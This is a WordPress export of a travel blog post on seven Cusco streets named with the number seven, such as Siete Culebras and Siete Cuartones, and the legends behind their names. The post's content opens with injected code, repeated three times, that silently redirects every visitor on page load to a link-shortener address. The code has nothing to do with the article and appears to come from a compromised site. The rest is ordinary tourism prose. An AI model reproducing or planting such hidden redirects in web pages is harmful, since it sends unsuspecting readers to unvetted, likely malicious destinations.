{"id":11878,"date":"2025-06-03T09:41:40","date_gmt":"2025-06-03T14:41:40","guid":{"rendered":"https:\/\/blog.viajesmachupicchu.travel\/en\/?p=11878"},"modified":"2025-06-03T09:41:44","modified_gmt":"2025-06-03T14:41:44","slug":"unveiling-cuscos-seven-streets-with-number-7","status":"publish","type":"post","link":"https:\/\/blog.viajesmachupicchu.travel\/en\/unveiling-cuscos-seven-streets-with-number-7\/","title":{"rendered":"Unveiling Cusco\u2019s Seven Streets with Number 7"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n\n<p>Cusco is a city steeped in history and culture, with every corner telling a story waiting to be uncovered. As you wander through its narrow, cobblestone streets, you&#8217;ll find paths so captivating that you&#8217;ll fall in love with them instantly.<\/p>\n\n\n\n<p>So, this time, we\u2019re diving into a unique aspect of Cusco\u2019s charming <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/history-of-some-streets-in-cusco-part-ii\/\"><strong>streets<\/strong><\/a>\u2014those that connect with the number seven.<\/p>\n\n\n\n<p>Why is this number so significant, and what makes these streets special? Therefore, let\u2019s explore the stories behind these seven streets and why they deserve a spot on your must-visit list.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Cusco and the number 7<\/strong><\/h2>\n\n\n\n<p>Firstly, the importance of seven has changed over time. For example, the Catholic Church includes the number in its teachings.<\/p>\n\n\n\n<p>We have the seven deadly sins and the seven sacraments.<\/p>\n\n\n\n<p>For example, in science and the arts, Pythagorean astronomy talks about seven days a week, and music has seven notes on its scale. In Peru and Inca culture, the number seven has its own story and meaning.&nbsp;<\/p>\n\n\n\n<p>Likewise, <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/tahuantinsuyo-flag-unraveling-its-history-and-meaning\/\"><strong>Cusco\u2019s flag<\/strong><\/a> has seven colors, just like the seven colors of the rainbow, and Cusco features seven famous streets to discover. The number seven holds deep symbolism in many cultures, and Cusco is no exception.<\/p>\n\n\n\n<p>&nbsp;In his book \u201cRutas tur\u00edsticas del Cusco\u201d, Professor Armando Valenzuela Lov\u00f3n says the Quechua people used to see the number seven as special and mysterious. For example, the Incas had a deep knowledge of <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/inca-astronomy-ancient-insights-into-the-cosmos\/\"><strong>astronomy<\/strong><\/a>.&nbsp;<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"502\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/30541328936_848cc5a651_k.jpg?resize=697%2C502&#038;ssl=1\" alt=\"\" class=\"wp-image-11890\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/30541328936_848cc5a651_k.jpg?resize=1024%2C737&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/30541328936_848cc5a651_k.jpg?resize=300%2C216&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/30541328936_848cc5a651_k.jpg?resize=768%2C553&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/30541328936_848cc5a651_k.jpg?resize=1536%2C1106&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/30541328936_848cc5a651_k.jpg?w=2047&amp;ssl=1 2047w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/30541328936_848cc5a651_k.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>Andean woman in a street in<\/strong> <strong>Cusco.<\/strong><\/figcaption><\/figure><\/div>\n\n\n<p>They believed that stars and planets played a big role in people&#8217;s lives and actions, and recognized seven important entities that watched over their community life. Some other people say that this number may have gained its meaning from Judeo-Christian stories.<\/p>\n\n\n\n<p>\u00a0Angel Carre\u00f1o, an important <a href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/cusco\"><strong>Cusco<\/strong><\/a> historian, notes that these streets often have adjectival names, as they refer to myths.<\/p>\n\n\n\n<p> He mentions serpents, angels, and devils, historical symbols (like masks and beams), or street features (like seven windows). Using small forms in these names shows the rich traditions of Cusco&#8217;s residents.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Seven Streets with 7 on it<\/strong><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Siete cuartones<\/strong><\/h3>\n\n\n\n<p>\u201cSiete Cuartones\u201d comes from the seven stone beams, or &#8220;cuartones,&#8221; that once supported a bridge built by Don Diego de Vargas y Carbajal, made of lime and stone. <\/p>\n\n\n\n<p>Later, as the city has grown, we now only have the name of this street to remind us of those original seven beams.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"484\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/29530281062_529cdf4ebc_k.jpg?resize=697%2C484&#038;ssl=1\" alt=\"\" class=\"wp-image-11881\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/29530281062_529cdf4ebc_k.jpg?resize=1024%2C711&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/29530281062_529cdf4ebc_k.jpg?resize=300%2C208&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/29530281062_529cdf4ebc_k.jpg?resize=768%2C533&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/29530281062_529cdf4ebc_k.jpg?resize=1536%2C1066&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/29530281062_529cdf4ebc_k.jpg?w=2048&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/29530281062_529cdf4ebc_k.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>This name also highlights the seven stone beams that were once lined up over the old Saphy River, which now flows underneath Avenida El Sol. Nowadays, one of the seven original beams remains on Saphy Street.<\/p>\n\n\n\n<p>Siete Cuartones Street is next to the historic Bolivariano and Educandas Ladies School, one of the oldest schools in Cusco. After a quick 10-minute walk from the busy <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/exploring-cuscos-plaza-de-armas-heart-of-the-city\/\"><strong>Plaza de Armas<\/strong><\/a>, you can find this street.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Siete Ventanas<\/strong><\/h3>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"568\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/464836742_10151889576619959_2976021853816505478_n.jpg?resize=697%2C568&#038;ssl=1\" alt=\"\" class=\"wp-image-11883\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/464836742_10151889576619959_2976021853816505478_n.jpg?resize=1024%2C834&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/464836742_10151889576619959_2976021853816505478_n.jpg?resize=300%2C244&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/464836742_10151889576619959_2976021853816505478_n.jpg?resize=768%2C626&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/464836742_10151889576619959_2976021853816505478_n.jpg?resize=1536%2C1251&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/464836742_10151889576619959_2976021853816505478_n.jpg?w=2048&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/464836742_10151889576619959_2976021853816505478_n.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>According to what people say, the origin of this street\u2019s name comes from a building behind the San Agustin temple. <\/p>\n\n\n\n<p>This building had 4 large and 3 small windows. In the current day, no building or house has seven streets on it, as this street has undergone reconstruction. You can find the \u201c7 Window Street\u201d street 10 minutes walk from the main square.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Siete Culebras<\/strong><\/h3>\n\n\n\n<p>The snake was more than just an animal in the Inca times, as they highly regarded it as part of the \u201cAndean triad\u201d of <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/sacred-animals-in-inca-culture-guardians-of-the-spiritual-world\/\"><strong>sacred animals<\/strong><\/a>. <\/p>\n\n\n\n<p> Incas saw the snake as a powerful symbol of transformation, change, and wisdom. As proof that the snake meant so much to the Incas, we have the \u201cSeven Snake Street.\u201d<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"523\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/calle-siete-culebras-2-1024x768-1.webp?resize=697%2C523&#038;ssl=1\" alt=\"\" class=\"wp-image-11884\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/calle-siete-culebras-2-1024x768-1.webp?w=1024&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/calle-siete-culebras-2-1024x768-1.webp?resize=300%2C225&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/calle-siete-culebras-2-1024x768-1.webp?resize=768%2C576&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/calle-siete-culebras-2-1024x768-1.webp?resize=640%2C480&amp;ssl=1 640w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>This street has 7 pairs of high-relief snakes etched on Inca murals, and that\u2019s where it got its name from. In total, you\u2019ll see 14 snakes on this wall. You can find this street near \u201cPlazoleta Nazarenas,\u201d one of the most iconic<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/cuscos-squares-heartbeats-of-the-inca-city\/\"><strong> squares<\/strong><\/a> in the city, just 5 5-minute walk from the main plaza.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Siete Diablitos<\/strong><\/h3>\n\n\n\n<p>There are multiple stories regarding the \u201cLittle Seven Devil<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/history-of-some-streets-in-cusco\/\"> <strong>Street<\/strong><\/a><strong>.<\/strong>\u201d Some say that this street was the palace where supernatural entities and humans had a connection.<\/p>\n\n\n\n<p>Conversely, others just say that, due to the hard access and poor lighting, the devil \u201ctempted\u201d passionate couples to commit indecent acts right in the middle of this street.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"523\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/4360600510_c7ed3c8841_k.jpg?resize=697%2C523&#038;ssl=1\" alt=\"\" class=\"wp-image-11885\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/4360600510_c7ed3c8841_k.jpg?resize=1024%2C768&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/4360600510_c7ed3c8841_k.jpg?resize=300%2C225&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/4360600510_c7ed3c8841_k.jpg?resize=768%2C576&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/4360600510_c7ed3c8841_k.jpg?resize=1536%2C1152&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/4360600510_c7ed3c8841_k.jpg?resize=640%2C480&amp;ssl=1 640w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/4360600510_c7ed3c8841_k.jpg?w=2048&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/4360600510_c7ed3c8841_k.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>Although this street has become a little more crowded recently, this street keeps being the meeting point where some couples meet, but this time, there are no records that show that they still do the \u201cindecent acts\u201d people did in the past.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Siete Angelitos<\/strong><\/h3>\n\n\n\n<p>The \u201cSeven Little Angels Street\u201d is the counterpart of the previous one we talked about before. Curiously, this street is in the San Blas bohemian neighborhood, on the corner of&nbsp; Carmen Alto Street. People named it after the Virgen del Carmen.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"929\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/IMG_20250115_132421-1.jpg?resize=697%2C929&#038;ssl=1\" alt=\"\" class=\"wp-image-11886\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/IMG_20250115_132421-1-scaled.jpg?resize=768%2C1024&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/IMG_20250115_132421-1-scaled.jpg?resize=225%2C300&amp;ssl=1 225w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/IMG_20250115_132421-1-scaled.jpg?resize=1152%2C1536&amp;ssl=1 1152w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/IMG_20250115_132421-1-scaled.jpg?resize=1536%2C2048&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/IMG_20250115_132421-1-scaled.jpg?w=1920&amp;ssl=1 1920w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/IMG_20250115_132421-1-scaled.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>There\u2019s an ancient building in this street, built by Blas de Bobadilla, a religious Cusco\u2019s man. For instance, on the roof of this old house, on the inside part of the roof, you can see depictions of angels that this man himself painted. Take the chance to take as many pictures as you can in Siete Angelitos!<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Siete Mascarones<\/strong><\/h3>\n\n\n\n<p>This street is located in the Santiago district, near the Santiago parish and Almudena Street. A story says that a Spanish artisan called Masacre\u00f1as lived with his family on this street. He and his family used to make works in copper for churches and temples.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"415\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/7-Mascarones.jpg?resize=697%2C415&#038;ssl=1\" alt=\"\" class=\"wp-image-11887\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/7-Mascarones-scaled.jpg?resize=1024%2C610&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/7-Mascarones-scaled.jpg?resize=300%2C179&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/7-Mascarones-scaled.jpg?resize=768%2C457&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/7-Mascarones-scaled.jpg?resize=1536%2C915&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/7-Mascarones-scaled.jpg?resize=2048%2C1220&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/7-Mascarones-scaled.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>Unlike the other streets we talked about before, this one is kind of neglected, but still, you can see the copper work around it. Let yourself be amazed by this street!<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Siete Borreguitos<\/strong><\/h3>\n\n\n\n<p>Probably this is one of Cusco\u2019s most popular streets thanks to its aesthetic design. In the past, pack animals, including sheep, used to come by this steep street.<strong> <\/strong><\/p>\n\n\n\n<p>The upper part of this street was historically called <em>Ccopapata<\/em>, a <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/quechua-words-and-meanings\/\"><strong>Quechua <\/strong><\/a>word meaning &#8220;the path of ash&#8221; in Spanish, until the 1950s.&nbsp;<\/p>\n\n\n\n<p>This name came from the custom of local residents dumping ash from their stoves and waste from their guinea pigs in the area.&nbsp;<\/p>\n\n\n\n<p> The lower section was known as <em>Taqsanapata<\/em>, a name tied to the practice of people traveling from Cusco\u2019s downtown to wash clothes in the Puckro River, particularly mourning families who would wash the deceased\u2019s garments there.&nbsp;<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"463\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/52274115516_27332b151b_k.jpg?resize=697%2C463&#038;ssl=1\" alt=\"\" class=\"wp-image-11888\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/52274115516_27332b151b_k.jpg?resize=1024%2C680&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/52274115516_27332b151b_k.jpg?resize=300%2C199&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/52274115516_27332b151b_k.jpg?resize=768%2C510&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/52274115516_27332b151b_k.jpg?resize=1536%2C1020&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/52274115516_27332b151b_k.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/52274115516_27332b151b_k.jpg?w=2048&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/01\/52274115516_27332b151b_k.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>This ritual often marked the end of the mourning period as the clothes were distributed among family members. Also, the name of the street itself has its origins in this activity. <\/p>\n\n\n\n<p>Many people who came to wash clothes also brought their sheep to graze and drink water nearby, leading to the initial name \u201cCalle Borrego\u201d (Sheep Street).&nbsp;<\/p>\n\n\n\n<p>Evidence of this name remains in some of the oldest property records. Later, an important major in Cusco city changed the name of the street was officially changed to <em>Siete Borreguitos<\/em> (&#8220;Seven Little Sheep&#8221;) to align with the enigmatic group of streets in Cusco whose names begin with the number seven.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Conclusion<\/strong><\/h2>\n\n\n\n<p>There\u2019s too much to know and learn about the former capital of the Inca Empire, so we invite you to visit these vibrant and living pieces of history in our city. <\/p>\n\n\n\n<p>Keep in mind that, to know Cusco and other parts of the country, you can count on <strong>Viagens Machu Picchu<\/strong>. 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